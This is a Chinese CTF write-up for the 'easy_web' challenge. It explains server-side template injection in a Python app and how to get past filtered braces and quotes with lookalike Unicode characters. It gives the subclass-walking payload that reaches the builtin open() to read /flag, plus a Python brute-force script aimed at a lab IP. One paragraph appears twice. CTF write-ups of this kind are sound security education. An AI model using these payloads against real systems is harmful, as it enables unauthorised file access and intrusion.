深入理解SSTI. 攻防世界easy_web 附python脚本

burp抓包看respond可以发现是python,所以判定是模板注入

爆破发现{ }  单引号’  双引号" 都被过滤,但是发现一些特殊字符可以代替,比如{ 可以用︷ 代替,  }可以用︸ 代替,类似单引号可以用'代替,这里找到代替字符后开始注入,这里附上一个特殊字符的连接符号大全-特殊符号-特殊符号大全

爆破发现{ }  单引号’  双引号" 都被过滤,但是发现一些特殊字符可以代替,比如{ 可以用︷ 代替,  }可以用︸ 代替,类似单引号可以用'代替,这里找到代替字符后开始注入,这里附上一个特殊字符的连接符号大全-特殊符号-特殊符号大全

爆破发现是可以实现xss的,但是xss我还不太熟悉,于是开始模板注入

 这里开头经典︷︷().__class__.__base__︸︸ 返回父类object,之后看子类

︷︷().__class__.__base__.__subclasses__()︸︸返回一大堆,有人可能不知道接下来要干什么,这里说说我的个人理解,也是最重要的部分,这里返回的子类,接下来要去访问具体某一个子类的init方法,这里为什么要访问init方法呢,因为访问到init方法之后,你可以知道这个类是否被重写了,如果没有重写,会返回objecs字样,如图

 27f8e344983f461eb48b2e6689b7b32f.png这里的objects 代表了这个类没有被重写,是继承的object类,这些类不具备open方法来操作文件,达不到我们目的,我们就是要通过open来读取flag文件,所以我们需要去一个一个看,找到重写的子类,来通过调用open方法读取文件,当然这么多子类不可能一个一个手动去试,于是写了脚本,这里去burp爆破也可,比较方便

import html
import re
import requests

url = 'http://61.147.171.105:55725'
for i in range(1, 200):
    data = {
        'str': '︷︷().__class__.__base__.__subclasses__()[%d].__init__︸︸' % i,
    }
    res = requests.post(url=url, data=data)
    res_ = html.unescape(res.text)
    print(res_)

这部分会看到所有的子类的init方法,接下来加个判断过滤一下就OK,我们接着注入,这里我们知道重写了init方法的子类后,通过.__globals__访问定义该类的模块的全局命名空间,

解释下什么叫全局命名空间,在 Python 中,每个模块都有一个全局命名空间,用于存储该模块中定义的全局变量和函数。当一个类被定义在一个模块中时,它也可以访问该模块的全局命名空间中的变量和函数。所以我们可以通过访问 __globals__ 属性来获得该模块的全局命名空间中的所有对象,包括全局变量和函数。这些对象可以被读取和修改,接下来介绍  __builtins__ 是 Python 中一个内置的模块对象,他在python解释器启动时, __builtins__ 对象就会被创建并且自动添加到全局命名空间中,因此 __builtins__ 可以在认可地方访问, __builtins__ 模块包含了很多内置函数,其中就包括我们这提要用的open(),所以我们通过__globals__来访问 __builtins__ 模块中的open函数来达到读取flag文件的目的,

    if 'objects' not in res_:
        print(i, res_)

接下来给脚本加上这两行,就会输出重写init的子类并且加上序号,方便后续手动操作,当然脚本也可以7b842e1b69634b2ba483d8ccc13069b7.png

 ok这里看到序号之后开始注入,这里选择75,当然所有输出的序号都可以用

︷︷().__class__.__base__.__subclasses__()[75].__init__.__globals__.__builtins__︸︸

会看到出现了很多内置函数,这里就有我们需要用的open(),接下来使用open访问flag文件读取就行了

︷︷().__class__.__base__.__subclasses__()[75].__init__.__globals__.__builtins__['open']('/flag').read()︸︸ 这里需要注意,[]和()里面的符号是'而不是单引号(被过滤),之后就读到flag了

import html
import re
import requests

url = 'http://61.147.171.105:55725'
for i in range(1, 200):
    data = {
        'str': '︷︷().__class__.__base__.__subclasses__()[%d].__init__︸︸' % i,
    }
    res = requests.post(url=url, data=data)
    res_ = html.unescape(res.text)
    #print(res_)
    if 'objects' not in res_:
        print(i, res_)
        data = {
            'str' : '︷︷().__class__.__base__'
                    '.__subclasses__()[%d].__init__'
                    '.__globals__.__builtins__['open']'
                    '('/flag').read()︸︸' % i
        }
        resp = requests.post(url=url, data=data)
        print(resp.text)
        break

43f07d6780e444c687ad0034db84ef86.png

 flag{8f604f91-c36a-4413-bdaf-e786ffbfda61}

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值